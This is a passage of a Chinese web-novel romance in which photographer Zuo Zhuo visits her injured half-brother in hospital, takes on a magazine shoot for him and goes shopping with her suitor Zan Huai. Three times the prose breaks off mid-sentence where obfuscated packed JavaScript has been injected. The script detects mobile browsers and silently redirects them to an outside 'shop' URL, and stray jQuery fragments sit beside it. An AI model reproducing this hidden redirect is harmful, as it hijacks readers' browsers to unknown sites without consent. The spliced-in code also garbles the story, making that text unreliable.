左镯颔首回礼,“哪里的话,这段时间也麻烦曼姐了,我会照顾他的。” 曼姐走前朝靳磊点了点头,使了个眼色。靳磊自然接收到她的信号,知道她是主动让出私人空间给自己和左镯。 谢了。他做了个口型。 曼姐心领神会,出去带上了门。这下病房里便只剩下左镯和靳磊两个人了。 “你刚刚想说什么?”左镯瞥了他一眼,“曼姐都走了,你就没必要瞒了。” “你看出来了?”靳磊惊讶,他没想到左镯竟然能看出来。 你是个能藏得住心事的人吗?对自己什么样心里没数吗?左镯忍不住翻了个白眼,腹诽道。 “所以,有话快说,有屁快放!”左镯对靳磊那不耐烦的状态又窜起来了。 “姐,昝淮没对你出手吧?”靳磊思忖了半晌,终于还是决定问出来。 左镯没想到他问得这么直白,一下子忍不住咳了起来:“咳咳咳……你……你说什么啊?” 靳磊见她这个反应,更慌张了:“姐,不会吧,你们不会那个晚上?” 难道他的兄弟要变姐夫了?! 要不是考虑到他头上有伤,左镯下一秒可能就要给他个暴栗,不过现下她只是伸出手捂住他的嘴。 “脑子里都是些什么黄色废料,我和他什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477948|141955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事都没有。” “真的?”靳磊狐疑地看着她。 “当然。”左镯眼观鼻鼻观心,一脸正色。 “那就好。”靳磊松了一口气,之前紧绷的神经松了下去。他甚至觉得自己的身体都灵活了起来,可以立刻出院的那种。 也许是因为放松了神经,他开始朝左镯撒娇:“姐,我饿了!” 左镯白了他一眼:“你没手吗?自己点外卖。” 靳磊双手一摊,一脸可怜兮兮:“我手机摔坏了。” 左镯这才想起,刚刚在曼姐的手上确实看到了一个碎屏的手机,“你的手机怎么砸了?而且你还没回答我怎么受伤的?” 靳磊有点不好意思,手抓了抓脸:“呃……我这不是脚一滑……你也知道的嘛,我的卧室在二楼……” 左镯扶额,一字一句,反复确认接收到的信息:“所以,你说你从自己家的楼梯上跌了下来?不仅人受伤,手机还摔了?” 靳磊不好意思地“呵呵”了几声,点了点头。 …… 左镯真的被气笑了,又不知道拿他怎么办。把自己的手机解锁了以后,丢给了他。 “自己点吧。” 靳磊笑嘻嘻地接过,飞快地开始刷附近的外卖选择。 这时候手机的弹窗突然跳出来一个信息,是蔺鸿鸣。 蔺鸿鸣|龙渊策划所:左镯,今天可以见一面吗? 靳磊的表情一下子又沉了下来,“姐,你还在和这个渣男联系吗?” 他翻转手机,左镯看到了蔺鸿鸣的信息,反应过来他在说什么。 “他是我的工作伙伴啊,我不联系他,你帮我搞特展啊?”左镯觉得好笑,“你还当我是二十多岁的小姑娘,因为一点曾经的事就成仇人,死都不见?” “可……” 可你之前因为他消沉的那段时间,和反复吃药的那段时间,就这么算了? 靳磊还是控制住自己,把那些话都自己吞下。 “你要知道,抓住过去的东西是没有意义的,你的眼睛长在脑袋上,不是后脑勺,就是让你往前看的。” 左镯笑得一脸释然。 “但是他明明拿了你的作品去申奖,这不是窃取吗?”靳磊还是咽不下这口气。 左镯看着气得像河豚的靳磊,就像在研究一个有趣的生物:“你知不知道窃取的意思呀?那个作品集本来就是当时我们俩一起鼓捣出来的,他顶多是在投稿的时候没知会我,这有点不地道。但是人家在投稿申明里写的很清楚,我是联合作者。” “毕竟是他领我进入摄影世界的,还他这一笔不算什么。” 左镯拉过靳磊的手,让他看向自己,“你看看我,现在我是什么?” “马格南华人摄影师啊,摄影界的新星!”靳磊自豪地脱口而出。 被他这么直白的夸,让左镯有些不好意思地脸红了,但还是稳住情绪继续问他:“那他呢?” 靳磊思索了一会,想起刚才的微信内容,犹犹豫豫道:“……策展人?” 左镯双手一摊:“对呀,你看。最终是我在摄影界站稳了脚跟,而不是他。所以我抓着那些过去的东西又有什么意思呢?” 靳磊看着她,感觉左镯的身上散发着暖融融地光,是发自心底的释然。 “我的灵气和我的作品,就是我最大的底气。”左镯侧头看着她这个可爱的弟弟,“就像他也凭借自己的能力也成为了优秀的策展人,我们都变得很好,就够了。现在他的能力能帮到我,为什么不用呢?” 若是七年前的左镯,是一定说不出这些话来的。 靳磊感觉那个曾经颓废,困在心魔的姐姐真的走远了。 “说了那么多,你到底外卖点了没?”左镯催促道,“你别等到人家午餐歇业了!” 靳磊被提醒后才反应过来,嗯了一声继续他的浏览。 选择了半天,他终于点完了这个午餐,把手机还了回去。 “姐,我想吃苹果。” 左镯挑眉:“那你点啊?和我说干什么?” “点还要等,我刚刚入院的时候看到医院旁的便利店有。”他的语气有些撒娇,“而且你看别人探望病人都是带苹果来的,象征着‘平平安安’,你怎么什么都没给我带。” 左镯心想,还不是你的意外吓得我差点鞋子都没穿就跑出来了。不过懒得和病人计较,她站起来,决定当一回贴心姐姐,下楼跑个腿。 “我要吃那种雕成小兔子形状的!”靳磊朝她的背影喊了一声。 “你不要得寸进尺!”左镯头都没回就拉开门走了。 她坐着电梯一路到了一层,电梯门才刚打开,便看见了一个人影。 “左镯,我们能聊一下吗?” 10. 所谓姐弟 是曼姐。 “曼姐,什么事?”左镯走出电梯,和曼姐一路走向小卖部,并不知道她拦住自己有什么事。 “左镯小姐,我记得听靳磊说过,您是马格南摄影师?最近还要办自己的特展,真是年轻有为啊……” “哪里哪里,过奖了。”左镯谢过她的殷勤之词,她也工作多年,除了自己的经纪人外,左镯已经独立参与过多次商务洽谈,自然能敏锐地感受到曼姐的话外之音。 她眨了眨眼,盯着曼姐沉默以对,主打一个敌不动我不动。 曼姐见状,只能厚着脸皮继续道:“是这样的,今天靳少本来有几个行程,其中一个是E刊的拍摄……合作拍摄的摄影师在国内也是小有名气,这次没赶上拍摄,对方摄影大师撂挑子不干了,那边E刊开天窗要求我们赔偿……” 左镯双手抱胸,也不接茬,只是冷静地听着她叙述。 曼姐感觉完全看不透左镯,明明刚刚在医院里感觉她和靳磊很亲近,但怎么说到他的事,却又十分被动?但目前的情况容不得她顾面子,于是硬着头皮说了下去:“我想拜托您帮靳磊出一个摄影草案,相信用你的名气,E刊应该会答应换人。” 左镯淡淡一笑,似乎对曼姐的请求早有预料。她修长的手指轻敲着手臂,状似思索了片刻,开口道:“曼姐,你也知道我现在在筹备个展,时间精力都很紧张。而且你把杂志社想得太简单了,也高看了我。我还做不到呼风唤雨,一句话就能让E刊点头。” 曼姐被左镯一番话说得哑口无言,有些泄气的放下肩膀。左镯见状,眼神柔和了几分:“我只能出几个方案,让我的经纪人发过去给E刊看看,能不能录用,补他们的天窗,我不敢打包票。” 一切竟柳暗花明,曼姐的眼神一下亮了起来,握着左镯的手感激到:“那就麻烦左小姐了!” 跟着左镯一路,因为一直脑袋里想着事,曼姐才意识到自己走到小卖部门口,连忙问道:“靳少需要什么吗?我来帮他买。” “他又闹小脾气了,要求我给他买苹果,说是我这空手来的显得没诚意。”左镯无奈地耸了耸肩。 曼姐瞧着左镯的表情,笑得一脸玩味。左镯被她盯着心里发毛,忍不住问道:“怎么了?这么看我。” “你们姐弟俩的感情可真是好!”曼姐拍手,“我家也有两个小崽子,就像你们俩一样。大的天天瞧不上小的,但是小的如果真有什么事,最宠他的,还是大的!” 是这样吗?原来在大家眼里自己和靳磊的关系竟是如此。 左镯认真地挑着苹果,思绪却飘远了。 她想起第一次见到靳磊,是在放学回家的路上,一个穿着贵族学校制服的小男孩蹲在自己家的巷口前,正在努力够到自动售货机的上排按钮。 左镯看见了走了过去,二话不说按了一个她喜欢喝的荔枝口味的碳酸汽水。 “砰嗵”一声,饮料落下,左镯在那小男孩的眼前把饮料拿了出来。 小男孩对左镯这一举动不可置信,追了上去:“这是我的饮料钱,你这是欺负小孩!” “那你要喝吗?”左镯把饮料塞到他鼻下。 小男孩摇了摇头:“不要,这是小女孩才爱喝的东西。” 左镯见状,转身继续走了,边走边拉开了易拉罐。没成想,一拉开飞溅的汽水溅了她一身。 小男孩见到她这个狼狈德行,捧腹大笑:“哈哈哈!遭报应咯,略略略!” 左镯见他这个模样,气得直接追过去想揍他,可那小男孩跑得飞快,她尽量追的有些艰难。 到了街口转角处,那小男孩突然刹车,被左镯抓个正着。 “你跑啊,你再跑!” 那小男孩突然转头对她嘘了一声,左镯顺着他身后望去,只见前方不远处正停着一辆豪车,车一旁站着的,正是靳青远。 左镯的脸色顿时沉了下来。 靳青远正在和一个男人交谈,只听见那个男人报告道:“靳总,我刚刚看小少爷就往那个方向去了!” 靳青远一脸颔首示意知道了,一边挥手让他们赶紧尽快寻找。 那小男孩见左镯看向靳青远的神色不霁,立刻意识到:“你是左镯?” 左镯低头看着这个眉眼和靳青远十分相似的脸,也突然意识到什么:“你是靳青远的什么人?” “我叫靳磊,我是你的弟弟。”靳磊指着自己,一脸的自豪。 左镯看着面前这个自信十足的,身高只到自己胸口的小男孩,沉默十秒后,转身走了。 “哎哎哎!你没听到我说的话吗?我是你亲弟弟唉!”靳磊在后面大喊,忍不住追上来。 左镯充耳不闻,步伐反而更快了些。 “姐,等等我啊!”靳磊毕竟还是小孩子,还得小跑着才能追上。 “哎!” 突然“扑通”一声,身后追赶的脚步声停了下来。左镯回过头,看见这个趾高气昂的小男孩狼狈地趴在地上,像只可怜的小狗一般,可怜兮兮地望着自己。 左镯深吸一口气,犹豫再三,还是选择走过去,居高临下的看着他。 “我不是你姐姐。” 左镯感觉自己的声音阴冷的可怕,令她自己都不喜欢。 但这样足以吓退他了吧? 年少的她,把自己武装成大人,以为这样,就可以不再受伤。 左镯站着,她的影子拉得很长,长得可以把靳磊完全覆盖。他看着她的眼睛,神情有些害怕,可他还是努力控制了自己的恐惧,咽了咽口水:“我,我不管,你就是我姐啊。” “我不是。” “你就是!” “我说了不是!” “姐!” 两个人像斗鸡一样,你一言我一语,虽然没有大动作,但是对吼起来都气喘吁吁。 左镯蹲了下来,两只眼睛狠狠盯着靳磊。而靳磊也是不甘示弱地盯着她。 最后,还是她先妥协,长叹了一口气,朝靳磊伸出了手。 “管你怎么说,先起来吧。” 靳磊见状,一把抓住她的手站起了起来,嘴角咧开,扯出一个灿烂的笑容:“好,谢谢姐!” “都说了我不是你姐!” 好像她和靳磊的关系一直都是这样,他死皮赖脸地缠着,而她虽然看起来冷漠,成天数落他,但真的有什么事,她最终都会心软下来,给他搭一把手。 后来左镯也曾问过靳磊,明明他们俩是同父异母的姐弟,为什么他毫不介意自己的母亲,反而非常执着地认自己这个姐姐。 靳磊翻了一个大大的白眼:“这有什么好纠结的,你可是我这个世上最亲近的人!咱们可是打断骨头连着筋的亲姐弟呢。再说,靳老头自己的情债,关我们俩什么事!” 说完,他又大快朵颐起来,仿佛这只是再平常不过的事。他的豁达倒是让因为思虑重重而左镯哑然失笑,心下的重担也卸了很多。 “吃慢点,不和你抢。” 她一边笑着,一边恶作剧一般用手揉乱他的头发,惹来靳磊的阵阵抗议。 苹果挑好了,左镯拎着袋子朝病房走去。曼姐说的对,靳磊虽然成天没打没小的,像个长不大的小孩,总让她翻白眼。可若真的有人敢欺负他,她一定会第一个冲上去。 “苹果买回来了。” 她拉开病房门,发现房间里除了靳磊以外,又多了一个人坐在他的病床前,正在削着苹果。听到响动,两人都看了过来。 左镯愣在门口,见到昝淮正流利地给苹果削皮,而靳磊正享用这面前盘子上切好的苹果。 还是切成小兔子形状的,昝淮做的? “你来啦。”昝淮抬起头看向她,露出一个温柔的微笑。 左镯看了看手里拎着的小卖部苹果,再看看昝淮带来的大水果篮里的精品苹果,下意识地把自己的袋子藏到身后。 “我们都买了苹果,可真是有缘。”昝淮一眼就瞄到了她的小动作,唇角的弧度又加深了许多。 “有缘个屁!”靳磊一听这话就不乐意了,猛地打断,用手刀阻拦他看向左镯的视线,“是我让我姐去买的苹果……唔!” 话音未落,眼前突然银光一闪,水果刀稳稳地停在了靳磊鼻尖前一厘米处。昝淮的脸上依旧挂着无懈可击的微笑,但靳磊的动物直觉却感觉到他这位老友的阵阵杀意。 “你最好闭嘴,乖乖地吃你的苹果。”细微的声音从昝淮的齿缝中挤出,只有他们俩能听见。 靳磊默默地缩回去,躺好,默默地吃着苹果堵上自己的嘴。 左镯无奈地摇了摇头,将自己买的那袋苹果挂在病房墙面的挂钩上,搬了把凳子坐在一旁。 房间里没了靳磊这个呱噪鬼,一下子竟沉默了下来。左镯有些不自在地环顾四周,也不知自己的眼睛究竟该看哪,只能把视线的中心落在昝淮手里正在削的那个苹果。 他修长而又骨节分明的手指熟练地旋转着手中的苹果,果皮顺着落下。刀法利落,像是已经做了多次一般,苹果被迅速被切割成片。 他的侧脸被阳光镀上一层柔和的金边,长睫半掩,眉宇舒展,嘴角噙着淡淡的笑意,整个人看上去温柔而迷人。 左镯看着不禁有些入神,直到一片苹果递到了眼前。 “尝尝,味道很好。”昝淮冲她眨了眨眼睛,“还是说,你也要小兔形状的?” “这个就好。”左镯有些局促地接过这片苹果,低头小口咬着,齿尖蔓延开甘甜多汁的味道。 昝淮满意地点点头,又继续开始削下一个。而左镯觉得,自己的心跳似乎加快了一些。 靳磊瞧着面前这逐渐加温的暧昧气息警铃大作,轻咳了一声,朝昝淮问道:“话说你这个大忙人怎么会过来?你不是还在京市吗?” 昝淮的眼有意无意地朝左镯的脸上扫过,眼底闪过一丝狡黠,却装作平常般说道:“本来约的人不声不响地跑了,我自然得追回来。” 左镯被苹果呛到,剧烈地咳了起来。 “没事吧?要水吗?”这个罪魁祸首还体贴地给她递来一杯水。 左镯都没敢看他,接过后赶紧喝了一口。 靳磊没管这个插曲,继续问道:“你怎么知道我住院了?” “是谁当场发了个微博?生怕别人不知道你住院。”昝淮举起手机竖在靳磊面前,上面是靳磊的自拍,写着“出了点小意外进了医院,不过我穿病号服也很帅吧!” “呵呵……”靳磊尴尬地笑了笑,搬起石头砸自己的脚,他又看向左镯,“曼姐呢?她走了?” “她要忙着处理你的事,先走了。”左镯突然想起之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477949|141955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和曼姐商谈的事,不过碍于昝淮在这,她不知该不该开口。 昝淮灵敏地察觉到左镯略显尴尬的目光,立刻心领神会地站了起来,“我出去接个电话,你们先聊。”随即开门出去了。 左镯见门已经合上,便坐到昝淮之前的座位上,离着靳磊更近了些,才开口道:“刚刚曼姐和我说了,你这次受伤会影响E刊的拍摄。” 靳磊有些意外曼姐竟然会告知左镯关于他自己工作的事情,以他对曼姐的了解,他立刻意识到不对:“她向你要求什么了?没事,我自己可以处理的。” 左镯将他按回床上,继续道:“你着什么急,我只是答应她说会准备一个E刊的策划案,帮你补上这个天窗。” “可是……可是你不是还要准备个展,没必要在这里浪费时间!” “E刊作为时装第一大刊,我的策划案如果选上,对我百利而无一害好吗?”她挑眉,“你还真以为自己脸这么大,我是为了你?” 靳磊犹豫道:“真的?” “真的。”她重重地点了点头,“而且,我可一分没少找你曼姐要,她可答应了,你得付我工钱!” 她摊开手到靳磊面前,他忍俊不禁,也伸出手重重地拍在她的手上,“好!你不要狮子大开口就行。” “哼,我可不便宜!”左镯也笑了。 靳磊知道左镯说这些话是让自己别太在意,这怎么可能不耽误她自己的精力呢。 “姐,谢了。” 他看向她,左镯的脸竟然不自觉地红了。 还能见到自己这个冷面姐姐能脸红的一天,看来这个受伤也没那么糟。 “好了,今天也很迟了,我先走了,明天再来看你。”左镯看了眼房内的时钟,起身和靳磊告别。 “嗯,你明天也要记得来看我!”靳磊又开始孩子气。 “好!客户大人!” 左镯笑着推开门,走了出去。谁知刚迈出一步,就见几个护士正急匆匆地推着病床从走廊另一端冲来,速度之快让人连躲闪的时间都没有。 就在左镯以为自己要被撞飞的刹那,下一秒,一股温暖有力的力道突然揽住了她的头,将她拉进了一个温暖的怀抱里。 左镯下意识地抓住了面前的衣襟,她的脸埋在黑色羊绒毛衣上,鼻息里是温柔的草木香气。 “还好,你没事。” 昝淮的声音从上方传来,她怔怔地抬起头,看着他正盯着急匆匆离开的护士们。 左镯轻轻推开他的怀抱,昝淮也不挽留,只是稳稳地扶住她的肩膀,直到她站定。两人就这样无言地立在走廊一隅,静谧的气氛被昝淮突如其来的问话打破: “今天怎么不告而别?” 左镯低垂着眼帘,避开他探究的目光,“我的航班时间很早,怕耽误你休息。”然后她想起什么,辩白道,“我没有你的联系方式,所以我通知了前台,让他们告知你。”然后她又小声补了一句,“我才没有不告而别。” 没想到刚才随口抱怨的一句竟然被她记下了。昝淮的内心感觉被猫抓了一般,但他还是忍住了想笑的冲动,有些抱怨道:“我们都认识这么久了,你竟然连我联系方式都没有。” 呃,你不也没向我要。左镯在心里默默吐槽,表面上却顺着他的话问:“那……现在加一下?” 她随口的一句话,正中昝淮下怀。他等的就是左镯主动提出交换联络方式的这一刻。 “我扫你。”昝淮迫不及待地掏出手机。 “哦,好。”左镯低头操作了一番,将手机摊到了他的面前。 昝淮看清上面的字,愣了一下,表情肉眼可见地僵硬起来,“企业微信?” 左镯疑惑地看着他瞬息万变的脸色,“对啊,工作联络用企微比较方便。” 行吧,慢慢来。昝淮暗暗咬牙,强压下心头的不悦,面上依旧波澜不惊地点了申请好友。 “好,加上了。”左镯收起手机,正欲告辞,却被昝淮叫住 “等等,你还没回我那天的问题。”他深邃的眼眸直视着她,一字一句道,“我想要追你,可以吗?” 左镯审视着面前这个帅气的男人,想起那个略显暧昧的晚上,她摇了摇头。 “可我只把你弟弟看待。” “弟弟难道就不行么?你不也……”他脱口而出。 左镯闻言抬起头,不知他咽下的半句是什么。 昝淮感觉到自己有些着急了,竟下意识地想要伸出手拉住她,但是理智还是抢占了高地,他冷静下来,后退了一步。 “算了,是我着急了。”他有些失落地摇了摇头,“只要你不排斥我,讨厌我就好。” 他这模样让她联想到那些被遗弃的小狗,竟让她有些于心不忍,“我怎么会讨厌你呢,你很讨人喜欢的。”她意识到这句话有歧义,立马补充道,“是朋友的那种喜欢。” 昝淮没在意她后面的解释,反而打蛇上棍,“那我以后可以单独找你出去,你不会拒绝?” “呃……”左镯觉得有些进退两难。 突然一个念头在她脑海里闪过。 “昝淮,你明天有空吗?” “怎么?这么快就答应我的约会了?”昝淮开着玩笑,却没想到换来了左镯的点头。 “嗯,就明天早上。” 11. 约会 昝淮已经很久没体验如此紧张的感觉了。 几乎是彻夜的失眠,只是同以前因为痛苦而需要靠药物来达到暂时失去意识不同,他这次是兴奋得难以入梦。几乎是天光稍微亮起来,他就醒了过来。连一向在清晨扰人清梦的小猫,都觉得今天自己的主人是不是发了疯,怎么比它还早就醒了过来,打了个哈欠便又睡下了。 他在镜子前来回试了多套衣服,从绅士的西装,到休闲清爽的衬衫牛仔裤,纷纷在镜子前试了个遍。他烦躁地拨弄了两下头发,索性不再像平时工作时,那样一丝不苟,就这么自然地出了门,开车前往左镯留言的地址。 到达咖啡厅的时候距离约定的时间还有整整两个小时,昝淮在咖啡厅里坐下,修长的手指轻轻叩击着桌面。他要了一杯美式,目光却不时朝窗外飘去。他一边想着今天要带她去哪里,一边又在脑海里描绘今天她会打扮成什么样子来见自己。 连衣裙?抑或是利落的职业装束?她的头发是披散着还是梳起来? 这么幻想着,时间似乎都过得飞快。 时针转到了十点整,玻璃窗上倒映出一个熟悉的身影,他立刻出了门,朝着她招了招手。 左镯在老远就看见了一个向自己招手的人影,她眯着眼让自己看得清些,只见一个穿着黑色高领毛衣的男人正朝自己挥手,这哪里像是平时的昝淮,反而像个男大学生。 她加快步伐,赶到了咖啡厅。 “等很久了吧?”她一脸歉意。 昝淮忙不迭地摇头:“没,我也刚到没多久。” 左镯透过咖啡厅的落地窗,瞥了眼他身后座位上残留的多个咖啡杯和食物,挑了挑眉,似乎对他的说辞并不怎么买账,只是她没有拆穿。 “要先吃点东西吗?” “不了,”左镯摆了摆手,“今天我们的行程很满。” 昝淮的眼睛一下亮了起来。她为了今天筹备了这么多吗?想到左镯竟然如此上心,他的情绪一下子就顶了高点,立刻跟上她的脚步。 不一会,左镯停在了一个招牌下,“喏,就这。” 昝淮对着“家装城园区”这几个字,陷入了沉默。 “原来你是来叫我当苦力啊。”他不禁哑然失笑。怪不得他见左镯今日的打扮一身轻便裤装加上运动鞋,原来是因为要进行大型采购,“为什么不直接网上下单?” “网络上哪有实体看得方便,”左镯认真地看着沿路各种货架上琳琅满目的小物件,“而且我也要的急。” 见昝淮的脸上露出不解的神情,她解释道:“我要给靳磊拍一组新的摄影主题,需要一些道具。” “他不是脚都打石膏了,怎么拍摄?” “他又不是脸打石膏了,可做的事情多了。”左镯这种无所谓的样子,令昝淮想到那些抽着皮鞭的资本家,竟有些忍俊不禁。左镯见状,像是猜到他心中所想,“你是不是觉得我像个黑心资本家?” 昝淮被她像读心一般猜中内心所想,不觉瞪大了眼睛,左镯便知自己猜中了,补了一刀:“我们之中,就你才是一个真正的资本家。” 昝淮愣住,随后反应过来左镯这是在和自己开玩笑。见她对待自己自然了许多,内心自在起来。 “我记得靳磊提过这是E刊的拍摄,即使是之前定好拍他,现在开天窗了也未必会随便答应新的策划案,你打算拿主题拿下?” 一般这种时候杂志可能会有备用案来顶替,靳磊这次虽然是因为意外,但放了顶级大刊的鸽子,对方肯定会介意,这对他未来的时尚资源发展是极为不利的。 昝淮越觉得好奇。 “你觉得靳磊目前的形象是什么?粉丝群主要是什么样的人?”左镯问他。 “娱乐圈第一梯队的青年艺人,有了几款爆款作品,有一些英气的形象,粉丝主要是二三十岁的青年女性。”虽然昝淮不是演艺圈人士也对此不大感冒,但是他经常监督集团的营销策划,里面长期追踪近期的时尚圈Icon,并且有具体的形象分析,以便于集团随时修改营销合作对象,确保声誉。而他的记忆力一向好,便记住了里面不少的重点。 “那目前负责他几个策划案的负责人的性别是?” 这倒是问倒他了,昝淮对此并不了解,可是也依稀记得依稀是男性为主导,于是他猜道:“男性?” 左镯点了点头,“虽然主编等越来越多女性,可是很多时候时尚掌镜人依旧是男性。所以我这次给他们的主题是——‘女凝’。” 昝淮倒吸一口冷气,完全没想到左镯竟然如此剑走偏锋,拿一个敏感又有争议的主题来拍摄自己的弟弟。 “女性凝视下的男明星,我希望能挖掘出他的最吸引女性群体的特质。” “但是他是弟弟,你真的能不带滤镜去看他?”昝淮想起左镯哪哪都瞧不上靳磊的模样,忍俊不禁。 “那当然,我是专业的。”左镯耸了耸肩,十分自信。 “好好好,那就期待左大摄影师的大作了。” 昝淮笑着跟在她身后,替她提着各种买来的道具和器材。 家装城里充斥着不少顾客,大多都是成双成对的年轻夫妇,一起挑选装点自己家的小饰物和小家具,偶尔还会因为挑选的品味不同而有些许争吵。 他们俩也混在其中,不免会让人有所误解。 “老板,这个灯串怎么卖?”左镯指着挂在墙上的一条条LED灯串,朝老板问道。 “一个一块,十个六块。” “好,我拿十个。” 左镯结完账,伸手去够那些灯串。昝淮连忙上前护着她的后背,并主动替她取了下来。得到她肯定的眼神后,便将灯串放进购物袋里。 老板见他们俩如此默契十足,长得又像是画报里走出来的人,不禁捂着嘴,开起玩笑:“哎哟,你们夫妻俩可真是甜。人家小两口买东西,老公要么面无表情当个提包机器,要么吵一吵该买什么,哪像你家先生,这么配合还这么享受。” 左镯见她误会,刚想摆手解释,却见昝淮顺势回答道,“媳妇开心最重要!” “你这老公找的真是好!”老板用胳膊撞了一下左镯,能看得出来她是真的羡慕。 左镯见她已经误会得深了,也懒得解释,谢过后便离开了店。可当她回头,却见到昝淮笑眯眯的脸,忍不住问道:“怎么了,笑成这样?” “没什么。”昝淮摆了摆手,但是脸上的笑意却止不住,眼神也不断飘忽在周围其他顾客身上。。 左镯环顾四周,才发觉家装城里主要的顾客都是些新婚小夫妻,再结合起刚才老板打趣的话,便领悟了昝淮笑得一脸灿烂的原因到底是什么。 “幼稚。”她对此评价道。 “我都是弟弟了,还不许我幼稚点?”昝淮一脸无所谓的模样,反呛了一句。 他又提及昨天的话题,左镯的脸霎时红了,选择了闭嘴。 两人接着又转到一个古董店里。左镯像是发现了宝藏一样,全身心地投入其中搜寻起来。 昝淮不打扰她的搜寻,也在店里随意地看起来。店主是个不多话的沉默男子,见他们两个顾客进来也没有任何招呼,只是瞥了一眼便继续手里的工作,像是在修理一块古董表。 店里的收藏各异,竟看不出主题,这边可能是古董家具,那边又可能出现书籍。左镯的目光被一盏琉璃台灯吸引,光线通过色彩斑斓的琉璃流转,浓郁如油画般的光线将视野里的一切变得如梦似幻。 她十分喜欢,她情不自禁地俯下身去,想要把台灯抱起,可未曾想这琉璃台灯下面连着实心金属柱子,竟让她低估了重量。左镯一个趔趄,重心不稳向后倒去,发夹应声而裂,乌黑的长发瞬间倾泻而下。 就在她以为自己要摔个四仰八叉时,后背撞上了一处温热的柔软。她蓦地回头,正对上昝淮关切的眼眸。 “没事吧?” 昝淮低沉的嗓音在耳畔响起,夹杂着一丝不易觉察的焦虑。左镯怔怔地摇了摇头。手上却依旧没松开台灯。 “重的东西你直接喊我就好,别什么都自己来。”昝淮顺着她的视线望去,微微皱眉。 他修长的手指轻轻掠过她的指尖,揽过台灯沉甸甸的重量,动作自然而贴心。但在把台灯搬上桌面时,他的手上已然浮现出几道红痕,在他略显苍白的皮肤上十分突出。 “你的手……” 左镯下意识地想要触碰,昝淮倏地抽回了手,拉开了一个不远不近的距离。 左镯的心像是被轻轻揪了一下,手停在半空,讪讪地收了回去。 昝淮似乎没有注意到,转身走向柜台,和店主交谈了起来,听起来似乎是关于结账和后续送货上门的安排。 左镯站在原地,百无聊赖地盯着自己的手,试图从五指的纹路里寻出一个答案。思绪正飘忽间,眼前突然出现一双锃亮的皮鞋,她下意识抬头,正撞进昝淮深邃的眼眸里。 “头发,需要扎起来吗?”他修长的手指虚点了下自己的发,眼神里透着些许疑问。 “嗯,扎起来会方便很多。”左镯点点头,下意识摊开手,掌心里是断成两截的发卡,“可惜这个已经坏了。”她有些失落地耸耸肩。 “你转过去,我帮你。” 左镯懵懵懂懂,但还是听话地转过身。她的眼前是一面古董镜子,透过它,能够清晰地看见自己和昝淮的神情。 昝淮垂眸专注地替她梳理发丝,宽大的手掌将她披散的长发一点点聚拢。他的动作很轻,很慢,仿佛在呵护一件易碎的珍宝。昝淮修长的手指在她发间穿梭,他的指腹蹭过她的耳骨,有些痒。左镯不禁微微侧首,在镜子里看起来像只逗趣的小猫。 昝淮抬眼,正好捕捉到她略显局促的小动作。他唇边的笑意加深,眼底流露出毫不掩饰的宠溺。 灵巧的手指三两下便将她的长发盘成一个小髻,末了,他不知从哪变出一支珍珠簪子,用它固定住发髻。 那簪子造型别致,是由一个未经任何雕琢,形状异常的珍珠做成,隐隐透出岁月的痕迹。 是刚刚在这家店里发现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477950|141955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的吗? 她目不转睛地盯着镜子里,却突然对上了昝淮的眼睛。 镜中那双黑曜石般的眸子里,盛满了揶揄和戏谑。他向前倾了倾身子,手掌轻轻放在她的肩上,温热的吐息喷洒在她敏感的耳后。 “左镯,你的脸好红。” “开,开什么玩笑。只是有点热。”左镯转过头,不想看镜子里自己的表情,身子侧开和昝淮拉开了一点距离。 “哦,只是因为天气热啊……”昝淮的声音故意拉长,落在左镯的耳里总有些变味。 她挽了挽鬓边的碎发,“待久了,有点累,先出去吧。” 昝淮没有接话,只是意味深长地盯着她看了半晌,才慢悠悠地点了点头,“好。” 走出店门,左镯掏出手机,将采购清单上的物品一一划掉,确认没有遗漏。她长舒一口气,突然之间所有待办事项都解决了,她竟感到饥肠辘辘,抬眼看表才发觉竟然不知不觉到了下午四点多。 “抱歉,耽误你这么久,都还没吃午饭……”左镯有些内疚地看向昝淮。把人家拉开当苦力,还没给薪水。她还嘲笑人家是资本家,最大的资本家反而是她自己…… “那你请客,”昝淮弯下身子,直视左镯的眼睛。 左镯微微扭头,避开他的视线,但略微发红的耳朵还是出卖了她。 她点了点头,“必须的。” “好,正好我知道附近有家不错的餐厅。”昝淮轻笑,收回视线,不继续给她压力。 左镯闻言重重地点点头。昝淮唇角微扬,修长的手指虚虚搭在她的后腰,带着她穿过熙攘的人群,朝着某个方向走去。 不出多时,他们一起走进了一家东非主题的餐厅,这家餐厅的装修很有情调,复古而粗犷,墙上挂满了非洲特色的挂毯和彩绘陶盘,处处弥漫着浓郁的异域风情。 